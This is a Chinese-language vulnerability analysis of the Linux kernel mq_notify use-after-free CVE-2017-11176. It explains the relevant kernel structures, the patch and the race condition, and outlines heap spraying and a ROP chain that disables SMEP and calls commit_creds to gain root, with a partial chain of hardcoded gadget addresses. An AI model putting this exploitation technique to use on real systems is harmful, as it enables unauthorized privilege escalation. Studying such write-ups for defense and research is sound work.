cve-2017-11176 利用分析+exp
字数 1142 2025-08-27 12:33:23
CVE-2017-11176 Linux内核漏洞分析与利用
漏洞概述
CVE-2017-11176是Linux内核中的一个use-after-free漏洞,存在于mq_notify系统调用中。该漏洞由于在错误处理路径中未正确置空sock指针,导致后续可能引用已释放的内存,从而可能被利用来提升权限。
环境准备
- Linux内核版本:4.1.1
- 调试工具:QEMU
相关内核结构
task_struct
struct task_struct {
volatile long state; // 进程状态
void *stack; // 任务堆栈指针
int prio; // 进程优先级
struct mm_struct *mm; // 内存地址空间
struct files_struct *files; // 打开文件信息
const struct cred *cred; // 凭证,保存uid等权限信息
// ...
};
文件描述符相关结构
- fd:对于给定进程的整数描述符
- file对象(struct file):表示已打开的文件
struct file {
loff_t f_pos; // 文件位置指针
atomic_long_t f_count; // 引用计数器
const struct file_operations *f_op; // 虚函数表指针
void *private_data; // 文件专用数据
// ...
};
- fdt(struct fdtable):将fd映射到对应的filp
struct fdtable {
unsigned int max_fds;
struct file **fd; // 当前fd数组
// ...
};
- file_struct:将fdt链接到进程内部
struct files_struct {
atomic_t count; // 引用计数器
struct fdtable *fdt; // 指向文件描述符表的指针
// ...
};
网络相关结构
- socket:网络栈顶层结构
struct socket {
struct file *file;
struct sock *sk;
const struct proto_ops *ops;
// ...
};
- sock:底层网络控制结构
struct sock {
int sk_rcvbuf; // 接收缓冲区理论最大值
int sk_sndbuf; // 发送缓冲区理论最大值
atomic_t sk_rmem_alloc; // 接收缓冲区当前大小
atomic_t sk_wmem_alloc; // 发送缓冲区当前大小
struct sk_buff_head sk_receive_queue; // 接收队列
struct sk_buff_head sk_write_queue; // 发送队列
struct socket *sk_socket;
// ...
};
- sk_buff(skb):网络数据包结构
Netlink Socket
Netlink是一种特殊socket,允许用户空间与内核通信。其专用结构:
struct netlink_sock {
/* struct sock has to be the first member of netlink_sock */
struct sock sk;
u32 pid;
u32 dst_pid;
u32 dst_group;
// ...
};
漏洞分析
漏洞位置
漏洞存在于mq_notify系统调用中,具体在ipc/mqueue.c文件中。问题在于错误处理路径中未正确置空sock指针。
补丁对比:
diff --git a/ipc/mqueue.c b/ipc/mqueue.c
index c9ff943..eb1391b 100644
--- a/ipc/mqueue.c
+++ b/ipc/mqueue.c
@@ -1270,8 +1270,10 @@ retry:
timeo = MAX_SCHEDULE_TIMEOUT;
ret = netlink_attachskb(sock, nc, &timeo, NULL);
- if (ret == 1)
+ if (ret == 1) {
+ sock = NULL;
goto retry;
+ }
if (ret) {
sock = NULL;
nc = NULL;
漏洞触发流程
mq_notify调用netlink_getsockbyfilp获取sock对象,增加引用计数- 调用
netlink_attachskb尝试附加skb到sock- 如果返回1,表示需要重试
- 在重试路径中,如果文件描述符被关闭,会导致后续使用已释放的sock对象
引用计数问题
正常流程:
netlink_getsockbyfilp->sock_hold(): sk->refcnt += 1netlink_attachskb->sock_put(): sk->refcnt -= 1
漏洞触发时:
- 线程1进入重试路径
- 线程2关闭文件描述符
- 线程1继续使用已释放的sock对象
漏洞利用
利用步骤
-
触发漏洞条件:
- 使
sk_rmem_alloc > sk_rcvbuf,让netlink_attachskb返回1 - 通过多线程操作,在重试路径中关闭文件描述符
- 使
-
堆喷控制:
- 使用
sendmsg系统调用分配kmalloc-1024对象 - 伪造
wait_queue_t结构控制程序流
- 使用
-
权限提升:
- 构造ROP链执行
commit_creds(prepare_kernel_cred(0)) - 绕过SMEP/SMAP保护
- 构造ROP链执行
关键利用代码
// 堆喷控制
struct u_wait_queue {
unsigned int flag;
long* pri;
long* func;
long* next;
long* prev;
};
// 构造ROP链
size_t *p = ((unsigned int)&uwq)&0xffffffff;
size_t *ptmp = p-0x20;
mmap(ptmp, 0x200, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
p[r++] = 0xffffffff811b265d; // pop rdi ; ret
p[r++] = 0x6f0; // CR4值
p[r++] = 0xffffffff810031bd; // mov cr4, rdi ; pop rbp ; ret
p[r++] = (unsigned long)p+0x100;
p[r++] = 0xffffffff8100abde; // pop rax ; ret
p[r++] = 0;
p[r++] = 0xffffffff811b265d; // pop rdi ; ret
p[r++] = 0;
p[r++] = 0xffffffff810a1a60; // prepare_kernel_cred
p[r++] = 0xffffffff8133ff34; // mov rdi, rax ; mov rax, rdi ; pop rbx ; pop rbp ; ret
p[r++] = 0;
p[r++] = (unsigned long)p+0x100;
p[r++] = 0xffffffff810a1720; // commit_creds
p[r++] = 0xffffffff81063d54; // swapgs ; pop rbp ; ret
p[r++] = p+0x100;
p[r++] = 0xffffffff811b265d; // pop rdi ; ret
p[r++] = getshell;
p[r++] = 0xffffffff818410c7; // iretd ; call rdi
防御措施
- 应用官方补丁
- 启用KASLR、SMEP、SMAP等内核保护机制
- 限制用户命名空间等特权操作